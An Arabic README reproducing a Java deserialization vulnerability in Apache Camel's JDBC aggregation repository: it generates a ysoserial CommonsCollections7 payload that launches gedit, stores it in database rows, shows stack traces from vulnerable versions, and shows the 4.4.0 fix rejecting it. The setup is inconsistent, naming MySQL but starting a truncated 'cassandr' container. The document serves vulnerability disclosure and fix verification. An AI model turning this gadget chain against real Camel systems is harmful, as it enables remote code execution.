
اكتشاف CVE
سنحتاج إلى مثيل Mysql
docker run --rm -d --name cassandra -p 9042:9042 cassandr
الآن سنحتاج إلى إنشاء الجداول المطلوبة:
لديك ملفان: employee.sql و employee_completed.sql
قم بتشغيل الأمر التالي:``` docker exec -it cassandra bash
root@fe5e7aff17e7:/# cqlsh
CREATE KEYSPACE db WITH REPLICATION = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 };
أدخل كلمة المرور الخاصة بك، ونفّذ `USE db;` ثم شغّل ملفي SQL.
في هذه المرحلة، لديك بالفعل الأجزاء المطلوبة لإعادة إنتاج عملية إلغاء التسلسل.
### الحمولة
الحمولة (payload) التي نستخدمها مبنية على commons-collections 3.2.1.
ستحتاج إلى استخدام:
[https://github.com/frohoff/ysoserial](https://github.com/frohoff/ysoserial)
من سطر الأوامر يمكنك إعادة إنشاء الحمولة بهذه الطريقة:
`java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p`
سيؤدي هذا إلى إرجاع نسخة Hex من الحمولة. الفكرة هي تشغيل أمر `gedit` أثناء عملية إلغاء التسلسل.
يمكنك التجربة بحمولات محتملة وتعديل نصوص SQL البرمجية عبر تغيير عبارة INSERT وإضافة الحمولات المولّدة الجديدة.
### التشغيل
لإعادة إنتاج السلوك، أولاً اختر JDK 17 (محلياً أو عبر SDKMan).
ثم شغّل الأمر التالي:
`mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run`
سينتج عن ذلك المخرجات التالية:
[INFO] --- spring-boot:3.2.0:run (default-cli) @ camelsql ---
[INFO] Attaching agents: []
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v3.2.0)
2024-01-10T11:50:05.523+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Starting CamelsqlApplication using Java 17.0.8 with PID 28404 (/home/oscerd/workspace/apache-camel/security/camelsql/target/classes started by oscerd in /home/oscerd/workspace/apache-camel/security/camelsql)
2024-01-10T11:50:05.526+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : No active profile set, falling back to 1 default profile: "default"
2024-01-10T11:50:06.897+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) is starting
2024-01-10T11:50:06.903+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Starting...
2024-01-10T11:50:07.062+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.pool.HikariPool : HikariPool-1 - Added connection com.mysql.cj.jdbc.ConnectionImpl@418f890f
2024-01-10T11:50:07.064+01:00 INFO 28404 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Start completed.
2024-01-10T11:50:07.093+01:00 INFO 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 aggregate exchanges (not completed) in repository: employee
2024-01-10T11:50:07.094+01:00 WARN 28404 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 completed exchanges to be recovered in repository: employee_completed
2024-01-10T11:50:07.096+01:00 INFO 28404 --- [ main] o.a.c.p.aggregate.AggregateProcessor : Using RecoverableAggregationRepository by scheduling recover checker to run every 5000 millis.
2024-01-10T11:50:07.098+01:00 INFO 28404 --- [ main] c.s.b.CamelSpringBootApplicationListener : Starting CamelMainRunController to ensure the main thread keeps running
2024-01-10T11:50:07.099+01:00 INFO 28404 --- [inRunController] org.apache.camel.main.MainSupport : Apache Camel (Main) 4.3.0 is starting
2024-01-10T11:50:07.106+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Routes startup (started:1)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Started route1 (timer://select)
2024-01-10T11:50:07.107+01:00 INFO 28404 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.3.0 (camel-1) started in 209ms (build:0ms init:0ms start:209ms)
2024-01-10T11:50:07.115+01:00 INFO 28404 --- [ main] c.example.camelsql.CamelsqlApplication : Started CamelsqlApplication in 1.839 seconds (process running for 2.453)
2024-01-10T11:50:08.176+01:00 ERROR 28404 --- [ timer://select] o.a.c.p.e.DefaultErrorHandler : Failed delivery for (MessageId: 41CB7CFEF0673B6-0000000000000000 on ExchangeId: 41CB7CFEF0673B6-0000000000000000). Exhausted after delivery attempt: 1 caught: java.lang.RuntimeException: Error getting key == 0 from repository employee
Message History (source location and message history is disabled)
---------------------------------------------------------------------------------------------------------------------------------------
Source ID Processor Elapsed (ms)
route1/route1 from[timer://select?repeatCount=1] 69
...
route1/aggregate1 aggregate[${header.aaa} == 0] 0
Stacktrace
---------------------------------------------------------------------------------------------------------------------------------------
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:366) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.1.jar:6.1.1]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:335) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.3.0.jar:4.3.0]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.StreamCorruptedException: null
at java.base/java.util.Hashtable.reconstitutionPut(Hashtable.java:1356) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1317) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:108) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:82) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:358) ~[camel-sql-4.3.0.jar:4.3.0]
... 23 common frames omitted
2024-01-10T11:50:08.182+01:00 WARN 28404 --- [ timer://select] o.a.camel.component.timer.TimerConsumer : Error processing exchange. Exchange[41CB7CFEF0673B6-0000000000000000]. Caused by: [java.lang.RuntimeException - Error getting key == 0 from repository employee]
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:366) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.1.jar:6.1.1]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:341) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:335) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.3.0.jar:4.3.0]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.3.0.jar:4.3.0]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.StreamCorruptedException: null
at java.base/java.util.Hashtable.reconstitutionPut(Hashtable.java:1356) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1317) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:108) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:82) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.3.0.jar:4.3.0]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:358) ~[camel-sql-4.3.0.jar:4.3.0]
... 23 common frames omitted
بينما سيفشل الكود، في الوقت نفسه ستشاهد gedit يفتح نافذة.
يمكنك إعادة إنتاج السلوك نفسه مع camel 3.21.3 على سبيل المثال. ستحتاج إلى ضبط JDK 11 (محلياً أو عبر SDKMan)
ستحتاج إلى تشغيل:
`mvn clean install -Dcamel.version=3.21.3 -Dspring-boot.version=2.7.18 -Djava.version=11 spring-boot:run`
سيكون السلوك هو نفسه.
### الإصلاح في 4.4.0
لإظهار الإصلاح، ستحتاج إلى تشغيل
`mvn clean install -Dcamel.version=4.4.0-SNAPSHOT -Dspring-boot.version=3.2.1 -Djava.version=17 spring-boot:run`
سينتج عن ذلك المخرجات التالية:
[INFO] --- spring-boot:3.2.1:run (default-cli) @ camelsql ---
[INFO] Attaching agents: []
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v3.2.1)2024-01-10T11:55:28.735+01:00 INFO 29206 --- [ main] c.example.camelsql.CamelsqlApplication : Starting CamelsqlApplication using Java 17.0.8 with PID 29206 (/home/oscerd/workspace/apache-camel/security/camelsql/target/classes started by oscerd in /home/oscerd/workspace/apache-camel/security/camelsql)
2024-01-10T11:55:28.741+01:00 INFO 29206 --- [ main] c.example.camelsql.CamelsqlApplication : No active profile set, falling back to 1 default profile: "default"
2024-01-10T11:55:30.122+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.4.0-SNAPSHOT (camel-1) is starting
2024-01-10T11:55:30.131+01:00 INFO 29206 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Starting...
2024-01-10T11:55:30.285+01:00 INFO 29206 --- [ main] com.zaxxer.hikari.pool.HikariPool : HikariPool-1 - Added connection com.mysql.cj.jdbc.ConnectionImpl@261f359f
2024-01-10T11:55:30.286+01:00 INFO 29206 --- [ main] com.zaxxer.hikari.HikariDataSource : HikariPool-1 - Start completed.
2024-01-10T11:55:30.306+01:00 INFO 29206 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 aggregate exchanges (not completed) in repository: employee
2024-01-10T11:55:30.307+01:00 WARN 29206 --- [ main] o.a.c.p.a.j.JdbcAggregationRepository : On startup there are 1 completed exchanges to be recovered in repository: employee_completed
2024-01-10T11:55:30.308+01:00 INFO 29206 --- [ main] o.a.c.p.aggregate.AggregateProcessor : Using RecoverableAggregationRepository by scheduling recover checker to run every 5000 millis.
2024-01-10T11:55:30.310+01:00 INFO 29206 --- [ main] c.s.b.CamelSpringBootApplicationListener : Starting CamelMainRunController to ensure the main thread keeps running
2024-01-10T11:55:30.312+01:00 INFO 29206 --- [inRunController] org.apache.camel.main.MainSupport : Apache Camel (Main) 4.4.0-SNAPSHOT is starting
2024-01-10T11:55:30.322+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Routes startup (started:1)
2024-01-10T11:55:30.322+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Started route1 (timer://select)
2024-01-10T11:55:30.322+01:00 INFO 29206 --- [ main] o.a.c.impl.engine.AbstractCamelContext : Apache Camel 4.4.0-SNAPSHOT (camel-1) started in 198ms (build:0ms init:0ms start:198ms)
2024-01-10T11:55:30.328+01:00 INFO 29206 --- [ main] c.example.camelsql.CamelsqlApplication : Started CamelsqlApplication in 1.844 seconds (process running for 2.102)
2024-01-10T11:55:31.352+01:00 ERROR 29206 --- [ timer://select] o.a.c.p.e.DefaultErrorHandler : Failed delivery for (MessageId: 5F06C78575E3CDB-0000000000000000 on ExchangeId: 5F06C78575E3CDB-0000000000000000). Exhausted after delivery attempt: 1 caught: java.lang.RuntimeException: Error getting key == 0 from repository employee
Message History (source location and message history is disabled)
---------------------------------------------------------------------------------------------------------------------------------------
Source ID Processor Elapsed (ms)
route1/route1 from[timer://select?repeatCount=1] 30
...
route1/aggregate1 aggregate[${header.aaa} == 0] 0
Stacktrace
---------------------------------------------------------------------------------------------------------------------------------------
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:367) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.2.jar:6.1.2]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:336) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.InvalidClassException: filter status: REJECTED
at java.base/java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1409) ~[na:na]
at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2044) ~[na:na]
at java.base/java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1898) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2224) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1313) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:104) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:72) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:359) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
... 23 common frames omitted
2024-01-10T11:55:31.355+01:00 WARN 29206 --- [ timer://select] o.a.camel.component.timer.TimerConsumer : Error processing exchange. Exchange[5F06C78575E3CDB-0000000000000000]. Caused by: [java.lang.RuntimeException - Error getting key == 0 from repository employee]
java.lang.RuntimeException: Error getting key == 0 from repository employee
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:367) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-6.1.2.jar:6.1.2]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:342) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository.get(JdbcAggregationRepository.java:336) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doAggregation(AggregateProcessor.java:483) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:406) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.doProcess(AggregateProcessor.java:360) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.AggregateProcessor.process(AggregateProcessor.java:316) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.handleFirst(RedeliveryErrorHandler.java:462) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.errorhandler.RedeliveryErrorHandler$SimpleTask.run(RedeliveryErrorHandler.java:438) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
